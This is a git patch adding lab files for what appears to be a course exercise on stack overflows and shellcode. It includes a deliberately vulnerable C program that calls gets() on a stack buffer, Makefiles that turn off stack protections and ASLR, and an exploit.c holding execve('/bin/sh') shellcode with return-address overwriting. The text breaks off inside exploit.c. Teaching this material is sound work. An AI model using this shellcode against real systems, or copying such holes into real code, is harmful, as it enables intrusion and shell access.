From 33f23e8538947d359b086eeaea8ed0291b296243 Mon Sep 17 00:00:00 2001 From: Yorick Barbanneau Date: Thu, 9 Mar 2023 16:04:48 +0100 Subject: [PATCH] First part of TD5 --- .../files/q1/Makefile | 34 ++++++++++ .../files/q1/magic | Bin 0 -> 16680 bytes .../files/q1/magic.c | 14 ++++ .../files/q1/magic.gdb | 2 + .../files/q2/Makefile | 35 ++++++++++ .../files/q2/anodin.c | 23 +++++++ .../files/q2/anodin.gdb | 2 + .../files/q2/exploit.c | 62 ++++++++++++++++++ .../td5-stackoverflow_shellcode/index.md | 32 +++++++++ 9 files changed, 204 insertions(+) create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile create mode 100755 content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c create mode 100644 content/secu_logicielle/td5-stackoverflow_shellcode/index.md diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile new file mode 100644 index 0000000..28fa0a7 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/Makefile @@ -0,0 +1,34 @@ +CC = gcc +CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack +SRC = $(wildcard *.c) +TGT = $(subst .c,,$(SRC)) +BUILD_DIR = build +DUMP_DIR = dump + + +pframe: + curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \ + tar -xf pframe.tgz &&\ + rm -rf pframe.tgz + +.gdbinit: + +configure: pframe .gdbinit + $(shell echo "python import pframe" > .gdbinit) + +$(BUILD_DIR)/%: %.c + $(shell mkdir -p $(BUILD_DIR)) + $(CC) $(CFLAGS) -o $@ $< + +build: $(addprefix $(BUILD_DIR)/, $(TGT))) + + +PHONY: % +gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%)) + PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \ + gdb $< --command=$(subst gdb_,,$@).gdb + + +PHONY: clean +clean: + @rm -rf $(BUILD_DIR) pframe .gdbinit diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic new file mode 100755 index 0000000000000000000000000000000000000000..c3255cfd475fbdb69b49c093d4a35dc2b19ebf50 GIT binary patch literal 16680 zcmeHOe~cVe9e*>sd%NxS?zVS8uN1s#X|W);dv`6hrIgO~?%FxIQY-~AMu)xKx!nnS zyT|S<9B50S6+DYcON=(A(ds{Hf{8}|AkpAqg;GNl;*ZpS^du0^pjaXr1Y!Mt-}`>| z=Egf9XyQNfO=iA7-uLr;Z@%x%?3+(Ph!(I!;V@+hawRc8ud4#)3G#~oM_d;QlA8Y^8i|jhLXJuDCj5|0oLLrU*Ah{>+ESpE=fnbjwR#{{7TQ@|+H=#bLO(2Ku&s>OgtkD}Ne356=z9?yn0CZJ_T9_hxbm%E zxKlS?{fEci{K<*T&zE+LV6UBbs!qYJc~14f-oa9(>>S9Bl^kK)g^5bpu6fz2XWK%$F5w71xjXG# z@lJa@>y`is{gor+MAj_}&?m6FwxE<#(w@-6lw=7qRS5vyDar@qK?8nSTCL*7OV3kryxAd|xc8!vFL`45W<=se!XwTIy-z4 zW53*C9UDGrogI4WG^*B-;ggzmwY3tanujj1~T_llSZ0>t+HyYYa-k6Z5F>rU3Q_- zC;`77IJ`EC67buBuY0x8_#$xpW{ITTw_j*eDQ(S)c;YyG_`>gH_^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&RD$wxNN!LfL*C>dA!1Mc5JNb+|3&7aB^6N?6HVu=$LAA zX#O|C8UVwPhp!Eax+10&c>f>I7pYkKvW)x+IO1?Hp7*u!em4`!{KWG&wrv5ykLUeu zyzdRaOZbVOCu|!5!H+*h?LS2mPlFwa2l2Sy>K`yCbLQ&yP3gxo;5O@Pk1nbCZ8FfHw(mlH)+2 z!x+zDzZ1ao@Ac7@%A=JXi3i*NeZqIJpJ6J=P%P-rI`bcb8#a;qkLNE@!e67pG|!A< z!#NQA_+F~N*H9jhup@EqKQ{jo1bnZc+ePquEbj{q`m@gb_keBp;rTsxwg-$r?5DJO zo$W6}0gfH6pXYVF&v%yk563?eKbMz*jmM5csPpk_6;E?RsW70z SyTao5Cvai_G#&s1RPk?I8ZD*( literal 0 HcmV?d00001 diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c new file mode 100644 index 0000000..190d021 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.c @@ -0,0 +1,14 @@ +#include +#include + +#define N 11 + +int main(int argc, char *argv[]) { + long t[N]; + long i; + + for (i = 0; i <= N; i++) + t[i] = 0; + + return t[0]; +} diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb new file mode 100644 index 0000000..da0e081 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q1/magic.gdb @@ -0,0 +1,2 @@ +b main +r diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile new file mode 100644 index 0000000..19f37fc --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile @@ -0,0 +1,35 @@ +CC = gcc +CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack +SRC = $(wildcard *.c) +TGT = $(subst .c,,$(SRC)) +BUILD_DIR = build +DUMP_DIR = dump + + +pframe: + curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \ + tar -xf pframe.tgz &&\ + rm -rf pframe.tgz + +.gdbinit: + +configure: pframe .gdbinit + $(shell echo "python import pframe" > .gdbinit) + +$(BUILD_DIR)/%: %.c + $(shell mkdir -p $(BUILD_DIR)) + $(CC) $(CFLAGS) -o $@ $< + +build: $(addprefix $(BUILD_DIR)/, $(TGT))) + + +PHONY: gdb +gdb: build/exploit build/anodin configure + ./$(BUILD_DIR)/exploit > hack.txt & + PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \ + setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb + rm hack.txt + +PHONY: clean +clean: + @rm -rf $(BUILD_DIR) pframe .gdbinit diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c new file mode 100644 index 0000000..54a048b --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c @@ -0,0 +1,23 @@ +#include +#include +#include +#include + +int litentier(void) { + unsigned char buf[64]; + int i; + printf("%p\n", buf); + printf("> "); + fflush(stdout); + gets(buf); + i=atoi(buf); + return i; +} + +int main(int argc, char *argv[]) { + while (1) { + int i; + i = litentier(); + printf("ok %d\n", i); + } +} diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb new file mode 100644 index 0000000..d1f5e22 --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb @@ -0,0 +1,2 @@ +b litentier +r < hack.txt diff --git a/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c new file mode 100644 index 0000000..8895bbf --- /dev/null +++ b/content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c @@ -0,0 +1,62 @@ +#include +#include + + +unsigned char exploit[1024] = { + 0x90, 0x90, 0x90, 0x90, // A few nops for some margin + 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, + +#ifdef __x86_64__ + /* 64 bit version */ + 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next + '/','b','i','n','/','s','h','\0', + 0x5f, // pop the address + 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call + 0x6a, 0x00, // push NULL at the end of the array + 0x48, 0x89, 0xe2, // envp + 0x57, // push adress + 0x48, 0x89, 0xe6, // argv + 0x0f, 0x05, // system call! +#else + /* 32 bit version */ + 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next + '/','b','i','n','/','s','h','\0', + 0x5b, // pop the adress + 0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call + 0x6a, 0x00, // push NULL at the end of the array + 0x89, 0xe2, // envp + 0x53, // push adress + 0x89, 0xe1, // argv + 0xcd, 0x80, // system call! +#endif +}; + +int main(void) { + int i; + void **exploit_ptr = (void*) &exploit; + void *ptr; + + fprintf(stderr,"Type the buf address printed by anodin\n"); + scanf("%p", &ptr); + + // Un peu de marge + ptr += 8; + + // écraser l'adresse de retour + for (i = 0; i < 8; i++) + exploit_ptr[64/sizeof(void*)+i] = ptr; + + for (i=0;i